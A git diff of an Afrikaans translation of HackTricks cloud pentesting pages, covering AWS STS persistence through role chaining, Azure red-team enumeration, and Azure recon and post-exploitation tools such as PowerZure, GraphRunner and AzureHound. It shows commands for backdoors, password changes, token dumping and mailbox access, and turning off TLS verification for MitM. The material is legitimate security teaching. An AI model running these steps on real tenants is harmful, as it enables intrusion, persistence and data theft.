diff --git a/src/pentesting-cloud/aws-security/aws-persistence/aws-sts-persistence.md b/src/pentesting-cloud/aws-security/aws-persistence/aws-sts-persistence.md
index b37499c31..7cbbebd4a 100644
--- a/src/pentesting-cloud/aws-security/aws-persistence/aws-sts-persistence.md
+++ b/src/pentesting-cloud/aws-security/aws-persistence/aws-sts-persistence.md
@@ -1,4 +1,4 @@
-# AWS - STS Volharding
+# AWS - STS Persistensie
{{#include ../../../banners/hacktricks-training.md}}
@@ -12,23 +12,23 @@ Vir meer inligting, toegang:
### Neem rol token
-Tydelike tokens kan nie gelys word nie, so om 'n aktiewe tydelike token te handhaaf is 'n manier om volharding te handhaaf.
+Tydelike tokens kan nie gelys word nie, so om 'n aktiewe tydelike token te handhaaf is 'n manier om persistensie te handhaaf.
aws sts get-session-token --duration-seconds 129600
# Met MFA
aws sts get-session-token \
---serial-number <mfa-device-name> \
---token-code <code-from-token>
+--serial-number \
+--token-code
# Hardeware toestelnaam is gewoonlik die nommer aan die agterkant van die toestel, soos GAHT12345678
-# SMS toestelnaam is die ARN in AWS, soos arn:aws:iam::123456789012:sms-mfa/username
-# Virtuele toestelnaam is die ARN in AWS, soos arn:aws:iam::123456789012:mfa/username
+# SMS toestelnaam is die ARN in AWS, soos arn:aws:iam::123456789012:sms-mfa/gebruikersnaam
+# Virtuele toestelnaam is die ARN in AWS, soos arn:aws:iam::123456789012:mfa/gebruikersnaam
### Rolketting Juggling
-[**Rolketting is 'n erkende AWS kenmerk**](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_roles_terms-and-concepts.html#Role%20chaining), dikwels gebruik om stealth volharding te handhaaf. Dit behels die vermoë om **'n rol aan te neem wat dan 'n ander aanneem**, wat moontlik terugkeer na die aanvanklike rol in 'n **sikliese manier**. Elke keer as 'n rol aangeneem word, word die vervaldatum van die geloofsbriewe verfris. Gevolglik, as twee rolle gekonfigureer is om mekaar onderling aan te neem, laat hierdie opstelling die perpetuele vernuwing van geloofsbriewe toe.
+[**Rolketting is 'n erkende AWS kenmerk**](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_roles_terms-and-concepts.html#Role%20chaining), wat dikwels gebruik word om stealth persistensie te handhaaf. Dit behels die vermoë om **'n rol aan te neem wat dan 'n ander rol aanneem**, wat moontlik terugkeer na die aanvanklike rol in 'n **sikliese manier**. Elke keer as 'n rol aangeneem word, word die vervaldatum van die geloofsbriewe verfris. Gevolglik, as twee rolle gekonfigureer is om mekaar onderling aan te neem, laat hierdie opstelling die voortdurende vernuwing van geloofsbriewe toe.
Jy kan hierdie [**instrument**](https://github.com/hotnops/AWSRoleJuggler/) gebruik om die rolketting aan die gang te hou:
```bash
@@ -40,12 +40,12 @@ optional arguments:
-r ROLE_LIST [ROLE_LIST ...], --role-list ROLE_LIST [ROLE_LIST ...]
```
> [!CAUTION]
-> Let daarop dat die [find_circular_trust.py](https://github.com/hotnops/AWSRoleJuggler/blob/master/find_circular_trust.py) skrip uit daardie Github-bewaarplek nie al die maniere vind waarop 'n rolketting gekonfigureer kan word nie.
+> Let daarop dat die [find_circular_trust.py](https://github.com/hotnops/AWSRoleJuggler/blob/master/find_circular_trust.py) skrip van daardie Github-bewaarplek nie al die maniere vind waarop 'n rolketting gekonfigureer kan word nie.
-Kode om Rol Juggling uit PowerShell uit te voer
-```powershell
+Code om Rol Juggling vanaf PowerShell uit te voer
+```bash
# PowerShell script to check for role juggling possibilities using AWS CLI
# Check for AWS CLI installation
diff --git a/src/pentesting-cloud/azure-security/README.md b/src/pentesting-cloud/azure-security/README.md
index 4a349c2cc..561e4bc3b 100644
--- a/src/pentesting-cloud/azure-security/README.md
+++ b/src/pentesting-cloud/azure-security/README.md
@@ -18,14 +18,14 @@ Vanuit 'n Rooi Span perspektief is die **eerste stap om 'n Azure omgewing te kom
- **Sosiale** Ingenieurswese
- **Wagwoord** hergebruik (wagwoordlekke)
- Kw vulnerabilities in Azure-gehuisvesde toepassings
-- [**Server Side Request Forgery**](https://book.hacktricks.wiki/en/pentesting-web/ssrf-server-side-request-forgery/cloud-ssrf.html) met toegang tot metadata eindpunt
+- [**Server Side Request Forgery**](https://book.hacktricks.wiki/en/pentesting-web/ssrf-server-side-request-forgery/cloud-ssrf.html) met toegang tot metadata-eindpunt
- **Plaaslike Lêer Lees**
- `/home/USERNAME/.azure`
- `C:\Users\USERNAME\.azure`
-- Die lêer **`accessTokens.json`** in `az cli` voor 2.30 - Jan2022 - gestoor **toegang tokens in duidelike teks**
+- Die lêer **`accessTokens.json`** in `az cli` voor 2.30 - Jan2022 - gestoor **toegangstokens in duidelike teks**
- Die lêer **`azureProfile.json`** bevat **inligting** oor die ingelogde gebruiker.
- **`az logout`** verwyder die token.
-- Ou weergawe van **`Az PowerShell`** het **toegang tokens** in **duidelike** teks in **`TokenCache.dat`** gestoor. Dit stoor ook **ServicePrincipalSecret** in **duidelike** teks in **`AzureRmContext.json`**. Die cmdlet **`Save-AzContext`** kan gebruik word om **tokens** te **stoor**.\
+- Ou weergawe van **`Az PowerShell`** het **toegangstokens** in **duidelike** teks in **`TokenCache.dat`** gestoor. Dit stoor ook **ServicePrincipalSecret** in **duidelike** teks in **`AzureRmContext.json`**. Die cmdlet **`Save-AzContext`** kan gebruik word om **tokens** te **stoor**.\
Gebruik `Disconnect-AzAccount` om hulle te verwyder.
- 3de partye **gekompromitteer**
- **Interne** Werknemer
@@ -33,7 +33,7 @@ Gebruik `Disconnect-AzAccount` om hulle te verwyder.
- [Toestelkode Verifikasie Phishing](az-unauthenticated-enum-and-initial-entry/az-device-code-authentication-phishing.md)
- [Azure **Wagwoord Spuit**](az-unauthenticated-enum-and-initial-entry/az-password-spraying.md)
-Selfs as jy **nie enige gebruiker** binne die Azure tenant wat jy aanval, gecompromitteer het nie, kan jy **'n paar inligting** daaruit versamel:
+Selfs as jy **nie enige gebruiker** binne die Azure huurkontrak wat jy aanval, gecompromitteer het nie, kan jy **'n paar inligting** daaruit versamel:
{{#ref}}
az-unauthenticated-enum-and-initial-entry/
@@ -92,7 +92,7 @@ az account management-group list #Not allowed by default
{{#endtab }}
{{#tab name="AzureAD" }}
-```powershell
+```bash
#Get the current session state
Get-AzureADCurrentSessionInfo
#Get details of the current tenant
@@ -101,7 +101,7 @@ Get-AzureADTenantDetail
{{#endtab }}
{{#tab name="Az PowerShell" }}
-```powershell
+```bash
# Get the information about the current context (Account, Tenant, Subscription etc.)
Get-AzContext
# List all available contexts
@@ -120,11 +120,11 @@ Get-AzRoleAssignment -SignInName test@corp.onmicrosoft.com # For current user
{{#endtabs }}
> [!CAUTION]
-> Een van die belangrikste opdragte om Azure te evalueer is **`Get-AzResource`** van Az PowerShell, aangesien dit jou **toelaat om te weet watter hulpbronne jou huidige gebruiker sigbaar het**.
+> Een van die belangrikste opdragte om Azure te evalueer is **`Get-AzResource`** van Az PowerShell, aangesien dit jou **toelaat om die hulpbronne te ken wat jou huidige gebruiker sigbaarheid oor het**.
>
> Jy kan dieselfde inligting in die **webkonsol** kry deur na [https://portal.azure.com/#view/HubsExtension/BrowseAll](https://portal.azure.com/#view/HubsExtension/BrowseAll) te gaan of te soek na "Alle hulpbronne"
-### ENtra ID Evalueer
+### Entra ID Evalueering
Standaard behoort enige gebruiker **voldoende regte te hê om** dinge soos gebruikers, groepe, rolle, diensprincipals... te evalueer (kyk [standaard AzureAD regte](az-basic-information/index.html#default-user-permissions)).\
Jy kan hier 'n gids vind:
@@ -135,11 +135,11 @@ az-services/az-azuread.md
> [!NOTE]
> Nou dat jy **'n bietjie inligting oor jou akrediteer** het (en as jy 'n rooi span is, hoop ek jy **is nie opgespoor nie**). Dit is tyd om uit te vind watter dienste in die omgewing gebruik word.\
-> In die volgende afdeling kan jy 'n paar maniere kyk om **'n paar algemene dienste te evalueer.**
+> In die volgende afdeling kan jy 'n paar maniere nagaan om **'n paar algemene dienste te evalueer.**
## App Service SCM
-Kudu-konsol om in te log in die App Service 'houer'.
+Kudu-konsol om in te log op die App Service 'houer'.
## Webshell
@@ -149,226 +149,4 @@ Gebruik portal.azure.com en kies die shell, of gebruik shell.azure.com, vir 'n b
Azure DevOps is apart van Azure. Dit het repositories, pipelines (yaml of release), borde, wiki, en meer. Veranderlike Groepe word gebruik om veranderlike waardes en geheime te stoor.
-## Debug | MitM az cli
-
-Deur die parameter **`--debug`** te gebruik, is dit moontlik om al die versoeke wat die hulpmiddel **`az`** stuur, te sien:
-```bash
-az account management-group list --output table --debug
-```
-Om 'n **MitM** op die hulpmiddel te doen en **al die versoeke** wat dit handmatig stuur te kontroleer, kan jy doen:
-
-{{#tabs }}
-{{#tab name="Bash" }}
-```bash
-export ADAL_PYTHON_SSL_NO_VERIFY=1
-export AZURE_CLI_DISABLE_CONNECTION_VERIFICATION=1
-export HTTPS_PROXY="http://127.0.0.1:8080"
-export HTTP_PROXY="http://127.0.0.1:8080"
-
-# If this is not enough
-# Download the certificate from Burp and convert it into .pem format
-# And export the following env variable
-openssl x509 -in ~/Downloads/cacert.der -inform DER -out ~/Downloads/cacert.pem -outform PEM
-export REQUESTS_CA_BUNDLE=/Users/user/Downloads/cacert.pem
-```
-{{#endtab }}
-
-{{#tab name="PS" }}
-```bash
-$env:ADAL_PYTHON_SSL_NO_VERIFY=1
-$env:AZURE_CLI_DISABLE_CONNECTION_VERIFICATION=1
-$env:HTTPS_PROXY="http://127.0.0.1:8080"
-$env:HTTP_PROXY="http://127.0.0.1:8080"
-```
-{{#endtab }}
-{{#endtabs }}
-
-## Geoutomatiseerde Verkenningsgereedskap
-
-### [**ROADRecon**](https://github.com/dirkjanm/ROADtools)
-```powershell
-cd ROADTools
-pipenv shell
-roadrecon auth -u test@corp.onmicrosoft.com -p "Welcome2022!"
-roadrecon gather
-roadrecon gui
-```
-### [Monkey365](https://github.com/silverhack/monkey365)
-```powershell
-Import-Module monkey365
-Get-Help Invoke-Monkey365
-Get-Help Invoke-Monkey365 -Detailed
-Invoke-Monkey365 -IncludeEntraID -ExportTo HTML -Verbose -Debug -InformationAction Continue
-Invoke-Monkey365 - Instance Azure -Analysis All -ExportTo HTML
-```
-### [**Stormspotter**](https://github.com/Azure/Stormspotter)
-```powershell
-# Start Backend
-cd stormspotter\backend\
-pipenv shell
-python ssbackend.pyz
-
-# Start Front-end
-cd stormspotter\frontend\dist\spa\
-quasar.cmd serve -p 9091 --history
-
-# Run Stormcollector
-cd stormspotter\stormcollector\
-pipenv shell
-az login -u test@corp.onmicrosoft.com -p Welcome2022!
-python stormspotter\stormcollector\sscollector.pyz cli
-# This will generate a .zip file to upload in the frontend (127.0.0.1:9091)
-```
-### [**AzureHound**](https://github.com/BloodHoundAD/AzureHound)
-```powershell
-# You need to use the Az PowerShell and Azure AD modules:
-$passwd = ConvertTo-SecureString "Welcome2022!" -AsPlainText -Force
-$creds = New-Object System.Management.Automation.PSCredential ("test@corp.onmicrosoft.com", $passwd)
-Connect-AzAccount -Credential $creds
-
-Import-Module AzureAD\AzureAD.psd1
-Connect-AzureAD -Credential $creds
-
-# Launch AzureHound
-. AzureHound\AzureHound.ps1
-Invoke-AzureHound -Verbose
-
-# Simple queries
-## All Azure Users
-MATCH (n:AZUser) return n.name
-## All Azure Applications
-MATCH (n:AZApp) return n.objectid
-## All Azure Devices
-MATCH (n:AZDevice) return n.name
-## All Azure Groups
-MATCH (n:AZGroup) return n.name
-## All Azure Key Vaults
-MATCH (n:AZKeyVault) return n.name
-## All Azure Resource Groups
-MATCH (n:AZResourceGroup) return n.name
-## All Azure Service Principals
-MATCH (n:AZServicePrincipal) return n.objectid
-## All Azure Virtual Machines
-MATCH (n:AZVM) return n.name
-## All Principals with the ‘Contributor’ role
-MATCH p = (n)-[r:AZContributor]->(g) RETURN p
-
-# Advanced queries
-## Get Global Admins
-MATCH p =(n)-[r:AZGlobalAdmin*1..]->(m) RETURN p
-## Owners of Azure Groups
-MATCH p = (n)-[r:AZOwns]->(g:AZGroup) RETURN p
-## All Azure Users and their Groups
-MATCH p=(m:AZUser)-[r:MemberOf]->(n) WHERE NOT m.objectid CONTAINS 'S-1-5' RETURN p
-## Privileged Service Principals
-MATCH p = (g:AZServicePrincipal)-[r]->(n) RETURN p
-## Owners of Azure Applications
-MATCH p = (n)-[r:AZOwns]->(g:AZApp) RETURN p
-## Paths to VMs
-MATCH p = (n)-[r]->(g: AZVM) RETURN p
-## Paths to KeyVault
-MATCH p = (n)-[r]->(g:AZKeyVault) RETURN p
-## Paths to Azure Resource Group
-MATCH p = (n)-[r]->(g:AZResourceGroup) RETURN p
-## On-Prem users with edges to Azure
-MATCH p=(m:User)-[r:AZResetPassword|AZOwns|AZUserAccessAdministrator|AZContributor|AZAddMembers|AZGlobalAdmin|AZVMContributor|AZOwnsAZAvereContributor]->(n) WHERE m.objectid CONTAINS 'S-1-5-21' RETURN p
-## All Azure AD Groups that are synchronized with On-Premise AD
-MATCH (n:Group) WHERE n.objectid CONTAINS 'S-1-5' AND n.azsyncid IS NOT NULL RETURN n
-```
-### [Azucar](https://github.com/nccgroup/azucar)
-```bash
-# You should use an account with at least read-permission on the assets you want to access
-git clone https://github.com/nccgroup/azucar.git
-PS> Get-ChildItem -Recurse c:\Azucar_V10 | Unblock-File
-
-PS> .\Azucar.ps1 -AuthMode UseCachedCredentials -Verbose -WriteLog -Debug -ExportTo PRINT
-PS> .\Azucar.ps1 -ExportTo CSV,JSON,XML,EXCEL -AuthMode Certificate_Credentials -Certificate C:\AzucarTest\server.pfx -ApplicationId 00000000-0000-0000-0000-000000000000 -TenantID 00000000-0000-0000-0000-000000000000
-PS> .\Azucar.ps1 -ExportTo CSV,JSON,XML,EXCEL -AuthMode Certificate_Credentials -Certificate C:\AzucarTest\server.pfx -CertFilePassword MySuperP@ssw0rd! -ApplicationId 00000000-0000-0000-0000-000000000000 -TenantID 00000000-0000-0000-0000-000000000000
-
-# resolve the TenantID for an specific username
-PS> .\Azucar.ps1 -ResolveTenantUserName user@company.com
-```
-### [**MicroBurst**](https://github.com/NetSPI/MicroBurst)
-```
-Import-Module .\MicroBurst.psm1
-Import-Module .\Get-AzureDomainInfo.ps1
-Get-AzureDomainInfo -folder MicroBurst -Verbose
-```
-### [**PowerZure**](https://github.com/hausec/PowerZure)
-```powershell
-Connect-AzAccount
-ipmo C:\Path\To\Powerzure.psd1
-Get-AzureTarget
-
-# Reader
-$ Get-Runbook, Get-AllUsers, Get-Apps, Get-Resources, Get-WebApps, Get-WebAppDetails
-
-# Contributor
-$ Execute-Command -OS Windows -VM Win10Test -ResourceGroup Test-RG -Command "whoami"
-$ Execute-MSBuild -VM Win10Test -ResourceGroup Test-RG -File "build.xml"
-$ Get-AllSecrets # AllAppSecrets, AllKeyVaultContents
-$ Get-AvailableVMDisks, Get-VMDisk # Download a virtual machine's disk
-
-# Owner
-$ Set-Role -Role Contributor -User test@contoso.com -Resource Win10VMTest
-
-# Administrator
-$ Create-Backdoor, Execute-Backdoor
-```
-### [**GraphRunner**](https://github.com/dafthack/GraphRunner/wiki/Invoke%E2%80%90GraphRunner)
-```powershell
-
-#Get-GraphTokens
-#A good place to start is to authenticate with the Get-GraphTokens module. This module will launch a device-code login, allowing you to authenticate the session from a browser session. Access and refresh tokens will be written to the global $tokens variable. To use them with other GraphRunner modules use the Tokens flag (Example. Invoke-DumpApps -Tokens $tokens)
-Import-Module .\GraphRunner.ps1
-Get-GraphTokens
-
-#Invoke-GraphRecon
-#This module gathers information about the tenant including the primary contact info, directory sync settings, and user settings such as if users have the ability to create apps, create groups, or consent to apps.
-Invoke-GraphRecon -Tokens $tokens -PermissionEnum
-
-#Invoke-DumpCAPS
-#A module to dump conditional access policies from a tenant.
-Invoke-GraphRecon -Tokens $tokens -PermissionEnum
-
-#Invoke-DumpCAPS
-#A module to dump conditional access policies from a tenant.
-Invoke-DumpCAPS -Tokens $tokens -ResolveGuids
-
-#Invoke-DumpApps
-#This module helps identify malicious app registrations. It will dump a list of Azure app registrations from the tenant including permission scopes and users that have consented to the apps. Additionally, it will list external apps that are not owned by the current tenant or by Microsoft's main app tenant. This is a good way to find third-party external apps that users may have consented to.
-Invoke-DumpApps -Tokens $tokens
-
-#Get-AzureADUsers
-#Gather the full list of users from the directory.
-Get-AzureADUsers -Tokens $tokens -OutFile users.txt
-
-#Get-SecurityGroups
-#Create a list of security groups along with their members.
-Get-SecurityGroups -AccessToken $tokens.access_token
-
-G#et-UpdatableGroups
-#Gets groups that may be able to be modified by the current user
-Get-UpdatableGroups -Tokens $tokens
-
-#Get-DynamicGroups
-#Finds dynamic groups and displays membership rules
-Get-DynamicGroups -Tokens $tokens
-
-#Get-SharePointSiteURLs
-#Gets a list of SharePoint site URLs visible to the current user
-Get-SharePointSiteURLs -Tokens $tokens
-
-#Invoke-GraphOpenInboxFinder
-#This module attempts to locate mailboxes in a tenant that have allowed other users to read them. By providing a userlist the module will attempt to access the inbox of each user and display if it was successful. The access token needs to be scoped to Mail.Read.Shared or Mail.ReadWrite.Shared for this to work.
-Invoke-GraphOpenInboxFinder -Tokens $tokens -Userlist users.txt
-
-#Get-TenantID
-#This module attempts to gather a tenant ID associated with a domain.
-Get-TenantID -Domain
-
-#Invoke-GraphRunner
-#Runs Invoke-GraphRecon, Get-AzureADUsers, Get-SecurityGroups, Invoke-DumpCAPS, Invoke-DumpApps, and then uses the default_detectors.json file to search with Invoke-SearchMailbox, Invoke-SearchSharePointAndOneDrive, and Invoke-SearchTeams.
-Invoke-GraphRunner -Tokens $tokens
-```
{{#include ../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/azure-security/az-enumeration-tools.md b/src/pentesting-cloud/azure-security/az-enumeration-tools.md
index 4358e01fb..8e6239aa2 100644
--- a/src/pentesting-cloud/azure-security/az-enumeration-tools.md
+++ b/src/pentesting-cloud/azure-security/az-enumeration-tools.md
@@ -57,7 +57,7 @@ Opdragte in Azure CLI is gestruktureer volgens 'n patroon van: `az -Mg`
@@ -121,11 +121,250 @@ Get-MgUser -Debug
```
### ~~**AzureAD Powershell**~~
-Die Azure Active Directory (AD) module, nou **verouderd**, is deel van Azure PowerShell vir die bestuur van Azure AD hulpbronne. Dit bied cmdlets vir take soos die bestuur van gebruikers, groepe, en toepassingsregistrasies in Entra ID.
+Die Azure Active Directory (AD) module, nou **verouderd**, is deel van Azure PowerShell vir die bestuur van Azure AD hulpbronne. Dit bied cmdlets vir take soos die bestuur van gebruikers, groepe, en aansoekregistrasies in Entra ID.
> [!TIP]
> Dit is vervang deur Microsoft Graph PowerShell
-Volg hierdie skakel vir die [**installasie instruksies**](https://www.powershellgallery.com/packages/AzureAD).
+Volg hierdie skakel vir die [**installasie-instruksies**](https://www.powershellgallery.com/packages/AzureAD).
+## Geoutomatiseerde Recon & Nakoming Gereedskap
+
+### [turbot azure plugins](https://github.com/orgs/turbot/repositories?q=mod-azure)
+
+Turbot met steampipe en powerpipe maak dit moontlik om inligting van Azure en Entra ID te versamel en nakomingskontroles uit te voer en miskonfigurasies te vind. Die tans mees aanbevole Azure modules om te gebruik is:
+
+- [https://github.com/turbot/steampipe-mod-azure-compliance](https://github.com/turbot/steampipe-mod-azure-compliance)
+- [https://github.com/turbot/steampipe-mod-azure-insights](https://github.com/turbot/steampipe-mod-azure-insights)
+- [https://github.com/turbot/steampipe-mod-azuread-insights](https://github.com/turbot/steampipe-mod-azuread-insights)
+```bash
+# Install
+brew install turbot/tap/powerpipe
+brew install turbot/tap/steampipe
+steampipe plugin install azure
+steampipe plugin install azuread
+
+# Config creds via env vars or az cli default creds will be used
+export AZURE_ENVIRONMENT="AZUREPUBLICCLOUD"
+export AZURE_TENANT_ID=""
+export AZURE_SUBSCRIPTION_ID=""
+export AZURE_CLIENT_ID=""
+export AZURE_CLIENT_SECRET=""
+
+# Run steampipe-mod-azure-insights
+cd /tmp
+mkdir dashboards
+cd dashboards
+powerpipe mod init
+powerpipe mod install github.com/turbot/steampipe-mod-azure-insights
+steampipe service start
+powerpipe server
+# Go to http://localhost:9033 in a browser
+```
+### [Prowler](https://github.com/prowler-cloud/prowler)
+
+Prowler is 'n Open Source sekuriteitstoepassing om AWS, Azure, Google Cloud en Kubernetes sekuriteitsbeste praktyke assesserings, ouditte, insidentrespons, deurlopende monitering, verharding en forensiese gereedheid uit te voer.
+
+Dit sal basies toelaat dat ons honderde kontroles teen 'n Azure-omgewing kan uitvoer om sekuriteitsmisconfigurasies te vind en die resultate in json (en ander teksformate) te versamel of dit op die web te kontroleer.
+```bash
+# Create a application with Reader role and set the tenant ID, client ID and secret in prowler so it access the app
+
+# Launch web with docker-compose
+export DOCKER_DEFAULT_PLATFORM=linux/amd64
+curl -LO https://raw.githubusercontent.com/prowler-cloud/prowler/refs/heads/master/docker-compose.yml
+curl -LO https://raw.githubusercontent.com/prowler-cloud/prowler/refs/heads/master/.env
+## If using an old docker-compose version, change the "env_file" params to: env_file: ".env"
+docker compose up -d
+# Access the web and configure the access to run a scan from it
+
+# Prowler cli
+python3 -m pip install prowler --break-system-packages
+docker run --rm toniblyx/prowler:v4-latest azure --list-checks
+docker run --rm toniblyx/prowler:v4-latest azure --list-services
+docker run --rm toniblyx/prowler:v4-latest azure --list-compliance
+docker run --rm -e "AZURE_CLIENT_ID=" -e "AZURE_TENANT_ID=" -e "AZURE_CLIENT_SECRET=" toniblyx/prowler:v4-latest azure --sp-env-auth
+## It also support other authentication types, check: prowler azure --help
+```
+### [Monkey365](https://github.com/silverhack/monkey365)
+
+Dit stel jou in staat om Azure intekeninge en Microsoft Entra ID sekuriteitskonfigurasie hersienings outomaties uit te voer.
+
+Die HTML-verslae word binne die `./monkey-reports` gids in die github-berging gestoor.
+```bash
+git clone https://github.com/silverhack/monkey365
+Get-ChildItem -Recurse monkey365 | Unblock-File
+cd monkey365
+Import-Module ./monkey365
+mkdir /tmp/monkey365-scan
+cd /tmp/monkey365-scan
+
+Get-Help Invoke-Monkey365
+Get-Help Invoke-Monkey365 -Detailed
+
+# Scan with user creds (browser will be run)
+Invoke-Monkey365 -TenantId -Instance Azure -Collect All -ExportTo HTML
+
+# Scan with App creds
+$SecureClientSecret = ConvertTo-SecureString "" -AsPlainText -Force
+Invoke-Monkey365 -TenantId -ClientId -ClientSecret $SecureClientSecret -Instance Azure -Collect All -ExportTo HTML
+```
+### [ScoutSuite](https://github.com/nccgroup/ScoutSuite)
+
+Scout Suite versamel konfigurasie data vir handmatige inspeksie en beklemtoon risiko areas. Dit is 'n multi-cloud sekuriteitsouditering hulpmiddel, wat sekuriteitsposisie assessering van wolkomgewings moontlik maak.
+```bash
+virtualenv -p python3 venv
+source venv/bin/activate
+pip install scoutsuite
+scout --help
+
+# Use --cli flag to use az cli credentials
+# Use --user-account to have scout prompt for user credentials
+# Use --user-account-browser to launch a browser to login
+# Use --service-principal to have scout prompt for app credentials
+
+python scout.py azure --cli
+```
+### [Azure-MG-Sub-Governance-Reporting](https://github.com/JulianHayward/Azure-MG-Sub-Governance-Reporting)
+
+Dit is 'n powershell-skrip wat jou help om **alle hulpbronne en toestemmings binne 'n Bestuursgroep en die Entra ID** huurders te visualiseer en sekuriteitsmisconfigurasies te vind.
+
+Dit werk met die Az PowerShell-module, so enige outentisering wat deur hierdie hulpmiddel ondersteun word, word deur die hulpmiddel ondersteun.
+```bash
+import-module Az
+.\AzGovVizParallel.ps1 -ManagementGroupId [-SubscriptionIdWhitelist ]
+```
+## Geoutomatiseerde Post-Exploitation gereedskap
+
+### [**ROADRecon**](https://github.com/dirkjanm/ROADtools)
+
+Die opsporing van ROADRecon bied inligting oor die konfigurasie van Entra ID, soos gebruikers, groepe, rolle, voorwaardelike toegangbeleide...
+```bash
+cd ROADTools
+pipenv shell
+# Login with user creds
+roadrecon auth -u test@corp.onmicrosoft.com -p "Welcome2022!"
+# Login with app creds
+roadrecon auth --as-app --client "" --password "" --tenant ""
+roadrecon gather
+roadrecon gui
+```
+### [**AzureHound**](https://github.com/BloodHoundAD/AzureHound)
+```bash
+# Launch AzureHound
+## Login with app secret
+azurehound -a "" -s "" --tenant "" list -o ./output.json
+## Login with user creds
+azurehound -u "" -p "" --tenant "" list -o ./output.json
+```
+Laai die **BloodHound** web met **`curl -L https://ghst.ly/getbhce | docker compose -f - up`** en voer die `output.json` lêer in.
+
+Dan, in die **EXPLORE** tab, in die **CYPHER** afdeling kan jy 'n **folder** ikoon sien wat voorafgeboude navrae bevat.
+
+### [**MicroBurst**](https://github.com/NetSPI/MicroBurst)
+
+MicroBurst sluit funksies en skripte in wat Azure Dienste ontdekking, swak konfigurasie ouditering, en post eksploitatie aksies soos geloofsbrief dumping ondersteun. Dit is bedoel om gebruik te word tydens penetrasietoetse waar Azure in gebruik is.
+```bash
+Import-Module .\MicroBurst.psm1
+Import-Module .\Get-AzureDomainInfo.ps1
+Get-AzureDomainInfo -folder MicroBurst -Verbose
+```
+### [**PowerZure**](https://github.com/hausec/PowerZure)
+
+PowerZure is geskep uit die behoefte aan 'n raamwerk wat beide verkenning en eksploitatie van Azure, EntraID, en die geassosieerde hulpbronne kan uitvoer.
+
+Dit gebruik die **Az PowerShell** module, so enige outentisering wat deur hierdie hulpmiddel ondersteun word, word deur die hulpmiddel ondersteun.
+```bash
+# Login
+Import-Module Az
+Connect-AzAccount
+
+# Clone and import PowerZure
+git clone https://github.com/hausec/PowerZure
+cd PowerZure
+ipmo ./Powerzure.psd1
+Invoke-Powerzure -h # Check all the options
+
+# Info Gathering (read)
+Get-AzureCurrentUser # Get current user
+Get-AzureTarget # What can you access to
+Get-AzureUser -All # Get all users
+Get-AzureSQLDB -All # Get all SQL DBs
+Get-AzureAppOwner # Owners of apps in Entra
+Show-AzureStorageContent -All # List containers, shared and tables
+Show-AzureKeyVaultContent -All # List all contents in key vaults
+
+
+# Operational (write)
+Set-AzureUserPassword -Password -Username # Change password
+Set-AzureElevatedPrivileges # Get permissions from Global Administrator in EntraID to User Access Administrator in Azure RBAC.
+New-AzureBackdoor -Username -Password
+Invoke-AzureRunCommand -Command -VMName
+[...]
+```
+### [**GraphRunner**](https://github.com/dafthack/GraphRunner/wiki/Invoke%E2%80%90GraphRunner)
+
+GraphRunner is 'n post-exploitation hulpmiddelstel vir interaksie met die Microsoft Graph API. Dit bied verskeie hulpmiddels vir die uitvoering van verkenning, volharding en plundering van data uit 'n Microsoft Entra ID (Azure AD) rekening.
+```bash
+#A good place to start is to authenticate with the Get-GraphTokens module. This module will launch a device-code login, allowing you to authenticate the session from a browser session. Access and refresh tokens will be written to the global $tokens variable. To use them with other GraphRunner modules use the Tokens flag (Example. Invoke-DumpApps -Tokens $tokens)
+Import-Module .\GraphRunner.ps1
+Get-GraphTokens
+
+#This module gathers information about the tenant including the primary contact info, directory sync settings, and user settings such as if users have the ability to create apps, create groups, or consent to apps.
+Invoke-GraphRecon -Tokens $tokens -PermissionEnum
+
+#A module to dump conditional access policies from a tenant.
+Invoke-GraphRecon -Tokens $tokens -PermissionEnum
+
+#A module to dump conditional access policies from a tenant.
+Invoke-DumpCAPS -Tokens $tokens -ResolveGuids
+
+#This module helps identify malicious app registrations. It will dump a list of Azure app registrations from the tenant including permission scopes and users that have consented to the apps. Additionally, it will list external apps that are not owned by the current tenant or by Microsoft's main app tenant. This is a good way to find third-party external apps that users may have consented to.
+Invoke-DumpApps -Tokens $tokens
+
+#Gather the full list of users from the directory.
+Get-AzureADUsers -Tokens $tokens -OutFile users.txt
+
+#Create a list of security groups along with their members.
+Get-SecurityGroups -AccessToken $tokens.access_token
+
+#Gets groups that may be able to be modified by the current user
+Get-UpdatableGroups -Tokens $tokens
+
+#Finds dynamic groups and displays membership rules
+Get-DynamicGroups -Tokens $tokens
+
+#Gets a list of SharePoint site URLs visible to the current user
+Get-SharePointSiteURLs -Tokens $tokens
+
+#This module attempts to locate mailboxes in a tenant that have allowed other users to read them. By providing a userlist the module will attempt to access the inbox of each user and display if it was successful. The access token needs to be scoped to Mail.Read.Shared or Mail.ReadWrite.Shared for this to work.
+Invoke-GraphOpenInboxFinder -Tokens $tokens -Userlist users.txt
+
+#This module attempts to gather a tenant ID associated with a domain.
+Get-TenantID -Domain
+
+#Runs Invoke-GraphRecon, Get-AzureADUsers, Get-SecurityGroups, Invoke-DumpCAPS, Invoke-DumpApps, and then uses the default_detectors.json file to search with Invoke-SearchMailbox, Invoke-SearchSharePointAndOneDrive, and Invoke-SearchTeams.
+Invoke-GraphRunner -Tokens $tokens
+```
+### [Stormspotter](https://github.com/Azure/Stormspotter)
+
+Stormspotter skep 'n “aanval grafiek” van die hulpbronne in 'n Azure intekening. Dit stel rooi span en pentesters in staat om die aanval oppervlak en pivot geleenthede binne 'n huurder te visualiseer, en versterk jou verdedigers om vinnig te oriënteer en prioriteit te gee aan insident respons werk.
+
+**Ongelukkig, dit lyk ononderhoude**.
+```bash
+# Start Backend
+cd stormspotter\backend\
+pipenv shell
+python ssbackend.pyz
+
+# Start Front-end
+cd stormspotter\frontend\dist\spa\
+quasar.cmd serve -p 9091 --history
+
+# Run Stormcollector
+cd stormspotter\stormcollector\
+pipenv shell
+az login -u test@corp.onmicrosoft.com -p Welcome2022!
+python stormspotter\stormcollector\sscollector.pyz cli
+# This will generate a .zip file to upload in the frontend (127.0.0.1:9091)
+```
{{#include ../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-arc-vulnerable-gpo-deploy-script.md b/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-arc-vulnerable-gpo-deploy-script.md
index bbd22b04c..c499e8e62 100644
--- a/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-arc-vulnerable-gpo-deploy-script.md
